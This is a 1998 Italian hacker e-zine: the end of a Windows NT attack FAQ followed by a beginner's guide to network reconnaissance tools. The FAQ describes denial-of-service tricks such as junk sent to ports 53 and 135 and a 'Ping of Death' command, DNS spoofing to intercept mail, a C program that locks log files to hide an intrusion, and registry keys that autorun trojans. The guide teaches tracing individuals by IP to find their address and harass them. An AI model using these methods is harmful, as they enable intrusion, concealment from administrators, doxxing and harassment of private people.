|Si scelga "cancel" e si avrà immediatamente accesso al Program Manager! |
| |
| QUESITO 10: Come faccio a sapere da remoto se si tratta di NT o 95 ? |
| |
|In genere è usanza dei Webmaster scrivere nelle pagine Web "Noi usiamo Windows |
|NT"
o qualcosa del genere, ma nella maggioranza dei casi ci limiteremo a control|
|lare che la porta 135 sia aperta (tramite un port scanner o una semplice connes-|
|sione via Telnet). |
| |
|A questo punto bastera` dare un'occhiata ai registry: se |
|HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT esiste, saremo sicuri che non si|
|tratti di Windows 95. |
|Infine, uno sguardo alla key \CurrentVersion\CurrentVersion ci permetterà di ca-|
|pire di quale versione si tratta. |
|In alternativa, si puo` controllare l'esistenza delle porte del NetBios (137 e |
|139) e dei servizi SMB. |
| |
| QUESITO 11: Come faccio ad utilizzare il modo di trasferimento passivo sul |
| server FTP se non e` attivo? |
| |
|Se il server FTP utilizzato è quello di default (Microsoft), basterà editare una|
|key dei registry di Windows NT: |
| |
|System\CurrentControlSet\Services\MSFTPSVC\Parameters |
|chiave: EnablePortAttack,REG_DWORD e abilitarla settandola a 1. |
| |
| QUESITO 12: Come trashare un sistema che utilizza NT? |
| |
|Se lasciamo perdere i metodi "tradizionali" (lavorando sui file), eccone alcuni |
|"alternativi" da far gustare al SysAdmin... |
| |
|Aprendo una connessione Telnet alla porta 53 del server e digitando una decina |
|di caratteri a caso seguiti da invio, bloccheremo il DNS del server fino al riav|
|vio del sistema... niente più host name, solo IP address! |
| |
|Oppure magari vogliamo trasformare il suo Pentium II 233 Mhz in uno 8086 8 Mhz? |
|Niente di più facile, basta collegarsi via Telnet (come sopra) alla porta 135. |
|Se la porta risponde, facendo come nel caso del DNS, avremo rallentato del 100% |
|la velocità della CPU... |
| |
|E se poi il SysAdmin utilizza IIS Microsoft come Web server, una connessione al-|
|la porta 1031 gli farà passare la voglia di usare i programmi di Bill Gates. |
|Oppure possiamo collegarci alla porta 80 e inviare "GET ../.." per crashare il |
|tutto... |
| |
|Per causare un riavvio improvviso del sistema o un crash (solo con NT inferiore |
|alla versione 4.0 e NT senza Hotfix) si può utilizzare una tecnica conosciuta |
|con il nome di "Ping of Death". Si tratta di inviare un pacchetto ICMP enorme. |
|Ecco cosa succederà: il server riceverà il pacchetto in forma frammentata, quin-|
|di sotto forma di moltissimi piccoli pacchetti. Quando tenterà di riassemblarli,|
|si avrà un buffer overflow e potranno accadere le cose più disparate. Da Windows|
|95 e Windows NT basta digitare: |
| |
| ping -165527 -s 1 nomevittima |
| |
|L'attacco del SYN flood (o del FIN flood) implica un invio di una quantità enor-|
|me di pacchetti forgiati con un IP address sorgente non esistente. Windows NT è |
|vulnerabile fino alla versione 4.0 senza Hotfix. |
| |
|Infine, ad un più alto livello, inviando ad un server NT 4.0 un semplice pacchet|
|to DNS di risposta (senza che il server lo abbia richiesto), DNS crasherà. |
| |
|Con il comando smbmount su Linux 2.0.28+ si può inoltre causare un crash con er-|
|rore di protezione su un server, eseguendo il comando: |
| |
| smbmount //vittima/servizio /mnt -U nomeclient |
| |
|Se il file ROLLBACK.EXE è presente sul server (o se ce lo mettiamo noi...) pos- |
|siamo eseguirlo e goderci lo spettacolo: i Registry verranno completamente az- |
|zerati. Inoltre, se blocchiamo una porta (ad esempio la 19, detta chargen) il |
|server eseguirà automaticamente ROLLBACK per cercare di risolvere il problema...|
| |
|Per chi poi conosce a fondo hacking e spoofing, la cosa più divertente resta la |
|forgiatura dei pacchetti DNS (di tipo UDP). |
|Effettuando una richiesta DNS e utilizzando uno sniffer per intercettare i pac- |
|chetti di risposta e catturare i numeri ID di riposta DNS è possibile inviare |
|falsi pacchetti DNS a un server in modo che chiunque chieda il suo IP address la|
|risposta sia quella che desideriamo. In pratica, chiunque si collegherà a quel |
|server si collegherà in pratica al server che vogliamo noi, dato dall'IP address|
|che abbiamo inviato nel pacchetto "forgiato". |
| |
|Con questo metodo, applicato ad altri servizi, è possibile fare copie di tutte |
|le email che transitano sul sistema, inibire l'accesso ai servizi, re-routing, e|
| molto altro ancora. |
| |
| QUESITO 13: Come impedire a chiunque, anche al SysAdmin, di accedere a uno o |
| piu` file? |
| |
|Ad esempio con questo programmino in C si può bloccare un file per quanto tempo |
|si desidera, passando (al programma) il nome del file da bloccare: |
| |
+--------------------------------INIZIO-CODE-------------------------------------+
| |
| #include <windows.h> |
| |
| void main(int ac, char *av[]) |
| { |
| HANDLE fp; |
| fp = CreateFile(av[1], FILE_READ_DATA, 0, 0, OPEN_EXISTING, 0, 0); |
| if (fp == INVALID_HANDLE_VALUE) exit(GetLastError()); |
| Sleep(60000) //tempo di bloccaggio espresso in: secondi * 1000 |
| exit(0); |
| } |
| |
+----------------------------------FINE-CODE-------------------------------------+
| |
|A che può servire bloccare un file? Beh, ad esempio, se blocchiamo un file di |
|log per un'ora e hackeriamo il server per un'ora, il SysAdmin non ne saprà mai |
|niente... |
| |
| QUESITO 14: Cos'altro si puo` fare con i Registry? |
| |
|Troppo lungo da spiegare... come dico sempre, basta usare la fantasia... Comun- |
|que ci sono un paio di cosette ancora. Ad esempio, per effettuare il logging del|
|PPP basta selezionare... |
| |
| HKEY_LOCAL_MACHINE\CurrentControlSet\Services\RasMan\PPP |
| valore = Logging |
| valore = REG_DWORD |
| valore = 1 (settare questo valore) |
| |
|mentre per abilitare quello della seriale basta selezionare Parameters (anziché |
|PPP) come ultimo valore della key. |
| |
|Una cosa molto utile è la possibilità di eseguire le applicazioni che abbiamo |
|inviato (troiani, ad esempio) e per farlo possiamo modificare una di queste due |
|keys... |
| |
| HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VXD |
| |
|aggiungendo una nuova key di tipo StaticVxd e inserendo il percorso completo |
|dell'applicazione, oppure... |
| |
| HKEY_LOCAL_MACHINE\\Software\Classes\txtfile\shell\open\command |
| |
|per sfruttare il metodo delle associazioni (file di testo, in questo caso) per |
|eseguire la nostra applicazione. |
| |
|Il vantaggio della prima key è che l'applicazione verrà eseguita a Ring-0 (quin-|
|di con accesso completo sul sistema operativo e sulle sue risorse, anche a basso|
|livello, su memoria, disco rigido, ecc). |
| |
+--------------------------------------------------------------------------------+
| |
| [Vedere Allegato Exploit.zip contiene i sorgenti in C degli Exploit che avete |
| letto in questa Meravigliosa Enciclopedia redatta da Lord_Shinva] |
| |
+--------------------------------------------------------------------------------+
| |
| THE END |
| |
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


+--------------------------------------------------------------------------------+
|Gick Zine n° 2 - [HACKING] -=[02]=- |
|Hacker's Toolz SPP #Override# |
+--------------------------------------------------------------------------------+
| |
| Gli ____ _ ___ ___ __ ______ ____ 21-10-98 |
| / __/__ (_) _ \/ _ \___ / / ___ /_ __/__ ____/ _/ ASCII |
| _\ \/ _ \/ / ___/ ___/ _ \/ /_/ _ `// / / _ \/ __// / by |
| /___/ .__/_/_/ /_/ \___/____|_,_//_/ \___/_/ /___/ RigoR Mortem |
| /_/ |
| Presentano: Hacker's toolz |
| Creato da : #Override# Spp-member |
| |
+--------------------------------------------------------------------------------+
| |
| (!)TUTTO IL MATERIALE CONTENUTO IN QUESTA GUIDA E' DA RITENERSI A (!) |
| (!)PURO SCOPO INFORMATIVO!!! L'AUTORE NON SI RITIENE IN ALCUN MODO(!) |
| (!)RESPONSABILE PER DANNI CAUSATI DALL'UTILIZZO DELLE INFORMAZIONI(!) |
| (!)CONTENUTE ALL'INTERNO DEL TESTO.... (!) |
| |
+--------------------------------------------------------------------------------+
| |
|...OK?? |
| |
|Bene allora si parte! |
| |
+--------------------------------------------------------------------------------+
| |
| [#] PREMESSA |
| |
|In questo primo numero tratteremo temi con esempi specifici cercando di sempli- |
|ficare al massimo gli argomenti. Questa guida infatti è stata scritta per chi è |
|alle prime armi nell'arte dell'hacking; ai piu' esperti probabilmente non sarà |
|di nessuna utilita'... |
|...una cosa però vorrei sottolineare; gran parte (non tutti ovviamente) di quest|
|temi NON sono stati copiati o tradotti dagli innumerevoli testi presenti sui |
|vari warez, ma si trattano di esperienze ed informazioni personali. |
|Fatta questa premessa, iniziamo! |
| |
+--------------------------------------------------------------------------------+
| |
| [#] IL PROVETTO RICERCATORE |
| |
|Internet è un immensa fonte di informazioni e muoversi all'interno di essa è |
|come entrare in un labirinto, dove senza un filo di Arianna che ci guidi, non |
|potremmo mai uscirne fuori (senti che eufemismi!! :-o) |
|Il nostro filo di Arianna in questo caso sono alcuni strumenti nati con l'inten-|
|to di guidarci e portare a buon fine il nostro scopo. |
|Gli strumenti di cui abbiamo bisogno sono di due tipi: quelli implementati nel |
|sistema operativo (Tracert, Ping, Nbtstat, ecc..), e quelli forniti dalla rete |
|(finger, Netfind, Whois, ecc..) |
|In questa guida mi occuperò solamente di quei toolz che permettono di rintrac- |
|ciare delle persone che utilizzano la rete e reperire più informazioni possibili|
|su di esse. A cosa serve direte voi... |
|...bè diciamo a tutto. ;-) |
| |
|Quasi tutte le tecniche usate per l'hacking si basano principalmente nel reperi-|
|re il maggior numero di info relative al sito da attaccare; è necessario sapere |
|quali prog (e versione) girano sul server vittima, per poter conoscere in segui-|
|to quale exploit utilizzare. |
|Anche la tecnica stessa del bruteforce si basa sulla ricerca di ogni dettaglio |
|riguardo l'admin del server per poterne identificare l'eventuale user o pwd. |
|Ma non trovate che sia anche utile ed interessante sapere come rintracciare una |
|determinata persona, magari qualcuno che ci stia tremendamente sulle balle |
|(vedi pedofilo!) e al quale vorremmo dare una lezione?? E magari avendo solo a |
|disposizione il suo IP, o il suo nome e dominio, trovare la sua vera mail o me- |
|glio ancora dove abita! Avere anche la possibilità di rintracciare la vittima |
|on-line quando vi pare, anche se possiede un IP dinamico!!! |
|Potreste rendergli la vita (sul Net... :) ovviamente) impossibile... non sbavate|
|però, ovviamente tutto questo dipende anche da una certa dose di cu.. fortuna, |
|nel senso che più la nostra vittima si è resa ""visibile"" in rete, più informa-|
|zioni riusciremo ad avere su di lui.Questo dovrebbe farvi capire intuitivamente |
|che è molto più facile ottenere ottimi risultati su un'amministratore di un ser-|
|ver che su un utente qualsiasi della rete. |
|Ma veniamo al dunque... |
| |
+--------------------------------------------------------------------------------+
| |
| [#] WINDOWS UTILITY |
| |
|Installando il protocollo di rete Microsoft TCP/IP, vengono copiati alcuni file |
|in /Windows, questi file sono delle utility per Internet (e reti LAN), che spes-|
|so vengono erroneamente sottovalutate. Invece sono molto utili e si adattano |
|molto bene a diversi scopi ;-) |
| |
+--------------------------------------------------------------------------------+
| |
|Tenete presente che esistono molti programmini nei siti warez che fanno uso di |
|tali strumenti, ma vi consiglio vivamente di imparare ad utilizzarli da DOS o |
|comunque da una shell, ve lo dico per esperienza personale! |
+--------------------------------------------------------------------------------+
| |
| Tracert Mostra il percorso (HOPS) fatto da un pacchetto per raggiungere un |
| computer remoto. |
| |
| Ping Verifica la connessione di un sito e ne determina i tempi di risposta|
| |
|Gli switch dei comandi sono case-sensitive, quindi attenzione a come digitate le|
|maiuscole e le minuscole, ad es. è diverso scrivere: Ping -a da Ping -A!! |
| |
+--------------------------------------------------------------------------------+
| |
| [#] TRACERT |
| |
|E' un'utility che stabilisce il percorso verso una destinazione inviando pacchet|
|ti echo con valori variabili di Time To Live (TTL).Lungo il percorso il compito |
|di ogni ""instradatore"" è quello di abbassare di almeno una unità il TTL di un |
|pacchetto prima di consegnarlo, in pratica il TTL è un conteggio di salti (Hops)|
|Quando il TTL di un pacchetto arriva a 0, l'instradatore dovrebbe mandare indie-|
|tro un messaggio al sistema di origine.In base ai messaggi rinviati dagli |
|instradatori, viene determinato il percorso del pacchetto. (!) (Acuni instrada- |
|tori però rendono invisibili i pacchetti echo, lasciandoli esaurire senza che |
|tracert ne rilevi la traccia... provate allora col ping). |
| |
| Sintassi del comando: |
| |
| TRACERT [-d] [-h maximum_hops] [-j host-list] [-w timeout] nome_destinazione |
| |
| Opzioni: |
| |
| • -d Non risolve gli indirizzi in nome host. |
| • -h Numero massimo di hops per ricercare la destinazione. |
| • -j Libera route di origine lungo l'elenco host. |
| • -w Intervallo di timeout in millisecondi per ogni risposta. |
| • nome_dest. Specifica il nome di ospite del computer di destinazione |
| |
| |
| Facciamo un'esempio: |
| |
| C:\windows> TRACERT mbox.virtualbit.it |
| |
|Rilevazione instradamento verso mbox.virtualbit.it [195.103.10.3] su un massimo |
|di 30 punti di passaggio: |
| |
| 1 115 ms 121 ms 113 ms 202.41.103.65 |
| 2 153 ms 151 ms 149 ms 202.41.103.1 |
| 3 192 ms 317 ms 189 ms 202.41.92.10 |
| 4 214 ms 188 ms 227 ms [202.41.92.1] |
| 5 186 ms 224 ms 185 ms interbusiness.it [212.41.192.2] |
| 6 * * 2684 ms r-mi3-.interbusiness.it [151.9.15.145] |
| 7 290 ms 234 ms 228 ms r-mi1-fddi.interbusiness.it [151.99.5.167] |
| 8 402 ms 486 ms 269 ms 195.31.80.134 |
| 9 303 ms 795 ms 286 ms 195.103.10.130 |
| 10 * 351 ms 941 ms 192.168.0.6 |
| 11 756 ms 475 ms 512 ms mbox.virtualbit.it [195.103.10.3] |
| |
| Rilevazione completata. |
| |
| [è solo un'esempio] |
| |
|La prima colonna riporta il numero di TTL (hops). |
|Le altre colonne indicano i tempi di andata e ritorno in millisecondi per un |
|tentativo di raggiungere l'host remoto. |
|L'ultimo hops è il server da noi analizzato (tin.it), mentre gli hops intermedi |
|sono vari routers che instradano il pacchetto. L'asterisco indica che il |
|tempo(timeout) per il tentativo è scaduto, mentre l'ultima colonna riporta il |
|nome e l'indirizzo IP dell'host. Avrete notato quindi come sia semplice ottenere|
|l'IP di un server tramite il suo nome e viceversa (NSlookup), ovvero trovare il |
|nome del server avendo solamente il suo IP. Infatti possiamo utilizzare tracert |
|su un'indirizzo numerico (IP) e determinare quale server utilizza il nostro |
|amico... potremo poi connetterci al nome del server per reperire ulteriori info |
|sulla nostra vittima (dovete sapere che molti provider usano una specie di yel- |
|low page dei propri utenti!). |
|Parleremo di come utilizzare le info reperite in questo modo nella parte relati-|
|va |agli strumenti di Internet. |
|Tracert però non sempre dà i risultati che vogliamo, ed ecco che a questo punto |
|entra in ballo un'altra utility... |
| |
+--------------------------------------------------------------------------------+
| |
| [#] Ping |
| |
|Il comando Ping è utile per controllare un collegamento con l'host remoto e |
|valutarne la velocità. |
|Viene inviato all'host in questione una serie di pacchetti ""echo"" di 64 byte |
|aspettando i pacchetti di risposta.

  
|
|Non è certo utile ai nostri scopi usarlo in questo modo, ma se invece lo |
|utilizziamo con dei parametri, il discorso cambia... |
| |
| Sintassi: |
| |
| PING [-t] [-a] [-n numero] [-l lunghezza] [-f] [-i TTL] [-v TOS] |
| |
| Opzioni: |
| |
| • -t Ping è eseguito sull'host specificato finchè non viene interrotto. |
| • -a Risolve gli indirizzi in nomi host. |
| • -n Invia il numero di richieste di echo indicato da numero. |
| Il valore di default è 4. |
| • -l Invia i pacchetti echo contenenti la quantità di dati indicati in |
| lunghezza; il default è 64 byte; il massimo è 8192. |
| • -f Imposta il flag. Non frammenta il pacchetto. |
| • -i TTL Imposta la ""vita"" del pacchetto col valore indicato da TTL |
| • -v TOS Imposta il tipo di servizio col valore indicato da TOS. |
| • -r Registra il percorso del pacchetto in uscita e del pacchetto di ritorno |
| nel campo Record Route. Numero che deve specificare da 1 a 9 ospiti. |
| • -s Marca orario per il numero dei salti precisati da numero |
| • -j host-list Indirizza i pacchetti per mezzo della lista degli ospiti |
| specificata da host-list.Gli ospiti vicini possono essere separati da |
| gateway intermedi. |
| • -k host-list Restringe route di origine lungo l'elenco host. |
| • -w Intervallo attesa ""timeout"" (in millisecondi) per ogni risposta. |
| |
|Non spaventatevi, non abbiamo bisogno di conoscere tutti i parametri del comando|
|neanch'io li ricordo tutti (li ho presi dall'help di win). Basta conoscere i più|
|importanti.... |
| |
| ping -a IP // risolve l'IP di un server in nome |
| |
| ping -w IP (intervallo) // imposta l'intervallo d'attesa |
| |
|...per i nostri scopi. Mentre è ben conosciuto l'IP Flooding come DoS: |
| |
| ping -l IP (dim.del pacchetto) // invia un ""echo"" di dim. determinate |
| ping -f IP (dim.del pacchetto) // ne evita la frammentazione (flag) |
| |
|Ma facciamo un'esempio. L'IP di un utente è facilmente determinabile sia che |
|frequenti Usenet che i servizi Chat, nel 1° caso è presente nelle proprietà del |
|msg, nel 2° se non è visualizzato (es. in ICQ) ci sono molti progZ che servono a|
|tale scopo e sono reperibili in rete, se poi abbiamo anche il suo nome, o alias |
|O altro, le cose diventano più facili. Una volta ottenuto tale numero, possiamo |
|incominciare le nostre ricerche. Supponiamo che l'IP della vittima sia |
|194.105.97.16 (casuale)... |
| |
| c:\windows> ping -a 194.105.97.16 |
| |
|(Il parametro -a sappiamo che risolve un IP num. in nome dell'host) |
| |
|Il risultato sarà del tipo... |
| |
|Esecuzione di Ping NOME_HOST [194.105.97.16] con 32 byte di dati: |
| |
| Risposta da 194.105.97.16: byte=32 durata=0ms TTL=128 |
| Risposta da 194.105.97.16: byte=32 durata=1ms TTL=128 |
| Risposta da 194.105.97.16: byte=32 durata=0ms TTL=128 |
| Risposta da 194.105.97.16: byte=32 durata=0ms TTL=128 |
| |
|Statistiche Ping per 194.105.97.16: |
| Pacchetti: Trasmessi = 4, Ricevuti = 4, Persi = 0 (0% persi), |
|Tempo approssimativo percorsi andata/ritorno in millisecondi: |
| Minimo = 0ms, Massimo = 1ms, Medio = 0ms |
| |
|...possiamo vedere così quale sia il nome del computer della vittima, oppure, se|
|fosse un server, il nome host dello stesso. |
| |
|Tenete presente comunque che se avete l'IP di un utente in tempo reale (in IRC),|
|avete già tutto ciò che vi serve per rendergli la vita difficile! |
| |
|Come?? E' semplicissimo... |
| |
| |
|...basta avere un DNS-scanner, reperibile nei warez. |
|Personalmente ho sempre preferito utilizzare Genius un progZ completo di ogni |
|utility (compreso il ping & tracert appunto), ma ce ne sono molti altri. Questa |
|utility permette la scansione di un range di IP, possiamo verificare quanti e |
|quali hosts sono online in un intervallo compreso fra due indirizzi. |
| |
|Prima di andare avanti però apriamo una piccola parentesi. |
|Come dovreste sapere l'indirizzo IP assegnato dal Provider ad un'host della sua |
|rete è dinamico, cioè cambia ad ogni connessione, ma la radice (i primi 24 bit) |
|rimane invariata. Se per esempio il mio IP è 194.10.190.18 significa che |
|appartengo ad un indirizzo di rete: |
| |
| 194.10.190.X //dove ""X"" è il n°host che mi può essere assegnato |
| |
|(a meno che si tratta di grosse sottoreti, dove l'assegnazione del n° può Variar|
|negli ultimi 16 bit .192.X e .191.X per esempio). Questo procedimento viene |
|fatto utilizzando una maschera di rete (Netmask) sovrapposta all'IP... ma per |
|questo discorso vi rimando alla lettura di testi sul protocollo TCP/IP. |
| |
|Facciamo un'esempio e torniamo alla nostra vittima in IRC; supponiamo che il suo|
|IP sia 196.41.197.36, mano al nostro DNS-scanner e inseriamo il suo IP... |
| |
|...il risultato sarà *(con un pò di fortuna) il nome del suo PC!! (risultato |
|simile lo avremmo avuto col Ping -a) |
| |
|Proprio così, avete presente quando installate windows (o altri S.O.) che |
|caricando i protocolli di rete NetBios e Client Microsoft, vi chiede di dare un |
|nome al vostro PC?... bene, quello è il nome che apparirà in rete e sarà |
|visualizzato dallo scanner! Quindi se sappiamo il nome dell'host ed a quale |
|indirizzo di rete appartiene, in futuro potremo sempre intercettarlo (se sarà |
|online, ovviamente) facendo una scansione degli indirizzi da 196.41.197.1 a |
|196.41.197.249 controllando se apparirà il suo nome!Normalmente basta una |
|scansione dei primi 50/90 n°, visto che difficilmente gli utenti della stessa |
|rete si collegano nello stesso momento, inoltre una volta trovato e attaccato, |
|se dovesse riconnettersi il server gli assegnerà il primo n° disponibile su Quel|
|la rete, accellerando così le nostre ricerche... Certo, dovremmo dedicargli par-|
|te del nostro tempo, ma ciò dipende da quanto ci stà sulle palle il nostro uten-|
|te ;-) |
| |
|*Prima ho detto "con un pò di fortuna" perchè alcuni non danno nessun nome al |
|proprio mezzo (e fanno bene)... lo scanner in questo caso vi descriverà l'host |
|come "undelevaraible host" anche se sarà attivo. |
|In questo caso sarete delusi eh? :-(( |
|Bè io non lo sarei... insomma, dovete reperire qualche dettaglio che possa |
|identificare il nostro obiettivo no?? |
|Ci sono diversi modi per farlo, uno di questi è senz'altro usando un port Scan- |
|ner! |
| |
| - Avete già preso in considerazione il mio labile stato mentale eh? - |
| |
|Stò dicendo sul serio... facendo una scansione delle porte, possiamo reperire |
|alcune importanti informazioni. Se per esempio scopriamo che è attiva la porta |
|135 o 137 nel Pc della vittima, significa (quasi certamente) che utilizza WinNT,|
|che non è un dettaglio da poco! Più ampliamo la scansione delle porte e più |
|troviamo dei dettagli propri del computer del malcapitato. |
|Mi è accaduto per esempio un paio di volte di trovare una chiave di registro ad |
|una porta alta (9000-13000), oppure era attiva una porta non specificata (una |
|backdoor?... ;-)) più specifico di così ! |
| |
|Un'altro metodo sarebbe quello di utilizzare nbtstat (di /windows) per control- |
|lare se ha il netbios attivo (e magari condivide pure qualcosa eh..), ed avere |
|altre info utili... |
|Insomma, con un pò di ingegno si determina l'obiettivo. |
| |
|Voglio fare una piccola digressione... |
|in Irc (e non solo) è ormai diffuso il noto prog NukeNabber, utilizzato per |
|proteggersi dagli attacchi via Net. Oltre a determinare l'origine dell'attacco, |
|NN è in grado di rilevare se sul proprio sistema è in corso una scansione Remota|
|delle proprie porte. Come fare ad accorgersi se la nostra vittima lo utilizza ed|
|è quindi al corrente del nostro attacco?? |
|Per poter fare il suo dovere questo prog si mette in ""ascolto"" sulle porte del|
|proprio sys, come default Nukenabber fà un listening della 19, 53, 129, ecc... |
|quindi le seguenti porte risulteranno attive!! Se facendo uno scanner troverete |
|aperte queste porte, significa che il vostro obiettivo utilizza tale programma. |
|Volete spaventarlo un pò?? 8-|=| |
| |
|Aprite una sessione telnet (come spiegato più avanti), o utilizzate un Rowclient|
|tramite Genius o altro... |
|"ma Telnet apre le sessioni solo sui server!!!" (direte voi) è vero.. ma se il |
|sistema remoto si mette in ascolto su una determinata porta, darà libero accesso|
|a qualunque tentativo di connessione sulla medesima, e se l'host in questione |
|avrà un determinato prog (come NukeN o altri port-monitor) che visualizzi tutto |
|ciò che accade sulla porta monitorata, farà apparire anche ciò che noi digitere-|
|mo tramite telnet o qualsiasi altro prog che spedisca dei caratteri !(detto |
|terra-terra!) |
|Non usate però Telnet di Winzozz perchè non accetta nessun collegamento se non |
|con un server, quindi per i nostri scopi servirà un client meno "intelligente"! |
|(ma è prorio Microsoft?!? ;-)) |
|Allora dicevo, collegatevi ad una delle porte aperte da NN (come la 129, non la |
|139 utilizzata da Win), una volta connessi tutto quello che digiterete sarà |
|visualizzato da NN !! |
|Se per esempio scriviamo "sei in grossi guai!" oppure "vattene, sei nel mio |
|territorio", il tutto sarà visibile dalla nostra vittima... bella sorpresa eh! |
|Inoltre ci sono vari progz che possono attaccare NN senza problemi, come Tear |
|drop, Nestea, Newdrop. |
|In alcuni casi è possibile anche creargli problemi al sys (come ho potuto |
|sperimentare personalmente), digitando dei catteri sufficientemente lunghi e |
|scoordinati, ma non ho ancora compreso con che criterio ciò avviene...o magari è|
|stato solo un caso :-( |
| |
| - Fine della digressione. - |
| |
|Ma torniamo a noi. |
|Se la nostra vittima invece è un utente che frequenta le news, la ricerca sarà |
|un pò più lunga ma con un pò di impegno si raggiungerà ugualmente l'obiettivo. |
|In questo caso il suo IP lo potete vedere semplicemente sotto l'header |
|(intestazione) del server NNTP, verificando nelle proprietà del msg... trovato? |
|...bene, ma i msg che vengono postati sui NG sono ovviamente datati, oramai il |
|suo IP non sarà più quello... però abbiamo comunque il suo indirizzo di rete; |
| |
| Per es. 195.12.97.X |
| |
|Dovreste capire già cosa fare... mano al Ping e via! |
|Si incomincia a pingare l'indirizzo che abbiamo facendo una scansione dal primo|
|n°; |
| |
| ping -a 195.12.97.1 |
| ping -a 195.12.97.2 |
| ecc... |
| |
|dopo pochi tentativi di solito si becca subito un host attivo (se proprio volete|
|usate uno scanner.. sfaticati!), che come risposta ci darà il nome del server a |
|cui è collegato.Se abbiamo il suo nome o alias possiamo comportarci come ho |
|descritto prima, cioè usando un dns-scanner e verificare se il suo nome host |
|coincide con quello che abbiamo. |
| |
|Esiste anche un modo per cercare degli indirizzi di chi posta sulle news... ed |
|è anche comodo da usare, ma serve solamente se l'utente che state cercando ha |
|tenuto visibile il suo vero e-mail address nelle proprietà di almeno un msg. |
|In pratica vi è utile quando vi ricordate solo il nome del tizio e dove postava,|
|ma non avete il suo indirizzo. |
| |
|Basta spedire una mail a rtfm.mit.edu (database per Usenet); |
| |
| mail-server@rtmf.mit.edu |
| |
|specificando nel corpo del messaggio ciò che desiderate ottenere; |
| |
| send usenet-addresses/nome o cognome della persona |
| |
|Se il nome della persona che cercate contiene della punteggiatura (oppure volete|
|sapere in quale altro modo è possibile sfruttare questo servizio) vi conviene |
|dare un'occhiata all'help del sito stesso; |
| |
| send usenet-addresses/help |
| |
|in ogni caso,nel giro di pochissimi giorni, otterrete quello che avrete chiesto |
|sempre tramite posta elettronica (comodo no?). |
| |
|Se invece non siamo contenti di quello che abbiamo trovato e vogliamo sapere tut|
|to il possibile sulla nostra vittima, allora si passa ai servizi che ci offre |
|Internet... |
| |
+--------------------------------------------------------------------------------+
| |
| [#] Netfind, Whois, Finger |
| |
|Si tratta di alcuni dei tanti servizi che la rete ci offre per reperire tutte le|
|informazioni di cui abbiamo bisogno. |
| |
|Per poterne fare uso è necessario (o quasi, come vedremo più avanti) l'uso di |
|TELNET! Spero che sappiate almeno di cosa si tratti... in caso contrario vi |
|rimando a qualche testo che ne spieghi le caratteristiche. E' molto importante |
|che vi leggiate gli RFC (Request For Comment) presenti sul Net per capire |
|veramente come funziona non solo telnet, ma tutto ciò che stà dietro ad Internet|
|Quindi, per chi ne è sprovvisto, mano ai motori di ricerca! Comunque per |
|rinfrescarci la memoria, molto brevemente, ne farò una descrizione... |
| |
+--------------------------------------------------------------------------------+
| |
| [#] INTRODUZIONE A TELNET |
| |
|Telnet è un prog che permette ad un utente di comandare (in modo restrittivo) |
|una shell remota, in modo da usufruire dei suoi servizi. |
| |
| Come si utilizza? |
| |
|Dunque prendiamo il nostro telnet... c:\windows\telnet per windows, per quanto |
|riguarda Linux lo saprete sicuramente(!), il mio consiglio comunque è di aviarlo|
|da Dos, questo perchè l'interfaccia grafica di Win95 crea talvolta dei problemi |
|di connessione (andate a chiedere a Bill il perchè!) Se poi vi procurate un prog|
|Telnet un pò più decente (tipo Netterm, ma ce ne sono molti altri) che supporti |
|il comando copia-incolla, è ancora meglio (vedrete poi perché), ...ma questo è |
|un'altro discorso, per i nostri scopi va bene anche quello di windows. |
|Il comando per avviare una connessione è: |
| |
| telnet host_remoto n°porta |
| |
|dove host_remoto sarà l'indirizzo del server host al quale dovremo collegarci, |
|mentre n°porta è la porta alla quale ci si collega per avere un determinato |
|servizio. Se per esempio vogliamo collegarci ad un servizio mail (SMTP) la porta|
||sarà la n° 25 , per le news è 119, e così via... Facciamo un esempio; se ci |
|vogliamo collegare al servizio FTP della Tin, il nostro comando sarà: |
| |
| telnet ftp.volftp.tin.it 21 //la porta 21 è per il servizio FTP |
| |
|Quando vedremo apparire un messaggio con la descrizione del server significa che|
|la connessione è avvenuta. Qui di seguito riporterò le porte principali tra le |
|WKS (Well Known Services) utilizzabili su un server telnet. Per WKS si intendono|
|quelle porte (le prime 1024) che hanno di regola un valore fisso stabilito per |
|un determinato servizio (tenete conto comunque che in totale sono 65535). |
| |
| Porta Servizi |
| |
| 7 [echo] Qualunque cosa scrivi, l'host te lo ripete |
| 11 [systat] Molte info sugli utenti |
| 13 [daytime] Ora e data dell'host locale |
| 15 [netstat] Informazioni sul Networks (!) |
| 21 [ftp] Servizio trasferimento files |
| 23 [telnet] Il tuo log in. |
| 25 [smpt] Servizio mail (spedizione) |
| 39 [rlp] Risorse dell'ubicazione |
| 43 [whois] Info su host e reti |
| 53 [domain] Nome del server |
| 70 [gopher] Servizio gopher |
| 79 [finger] Informazioni sugli utenti |
| 80 [http] Sevizio Web |
| 110 [pop] Servizio mail (ricevente) |
| 119 [nntp] Servizio Usenet |
| 443 [shttp] Altro servizio Web |
| 512 [biff] Notificazione della posta |
| 513 [rlogin] Login remoto |
| [who] Who remoto |
| 514 [shell] Comandi in remoto, nessuna pwd |
| [syslog] Logging del sys remoto |
| 520 [route] Protocollo di instradamento. |
| |
|Bene, chiusa questa piccola parentesi sul funzionamento di Telnet, possiamo |
|incominciare... |
| |
+--------------------------------------------------------------------------------+
| |
| [#] Whois |
| |
|Questo servizio è presente in diversi server e contiene un database dove |
|all'interno sono memorizzati nomi, cognomi, indirizzi (e-mail) di milioni di |
|persone che frequentano Internet.Tramite questo servizio potremo reperire |
|inofrmazioni su un determinato utente partendo dal suo nome e cognome |
|(sempre che sia presente nel database), vediamo un'esempio; |
|uno dei server più capienti è senz'altro internic.net, dove per collegarsi |
|digiteremo da DOS: |
| |
| c:\windows> telnet whois.internic.net 43 |
| |
|...dove "43" è ovviamente il n° della porta per tale servizio. |
|E'possibile anche non specificare la porta, purchè venga utilizzato il nome del |
|server per intero (whois.dominio.net). |
|Basta attendere un'attimo e riceveremo la risposta dal server... |
| |
|al prompt digiteremo prima il cognome poi il nome... |
| |
| whois: pawell, jhon |
| |
|...e avremo così di seguito le informazioni relative alla persona che stiamo |
|cercando. Ovviamente per avere maggiori probabilità di riuscita è essenziale |
|utilizzare il server whois più vicino alla vittima (e questo vale anche per gli |
|altri servizi che tratterò di seguito)... Potreste provare addirittura (se siete|
|fortunati) a verificare se il provider della persona che cerchiamo abbia attivo |
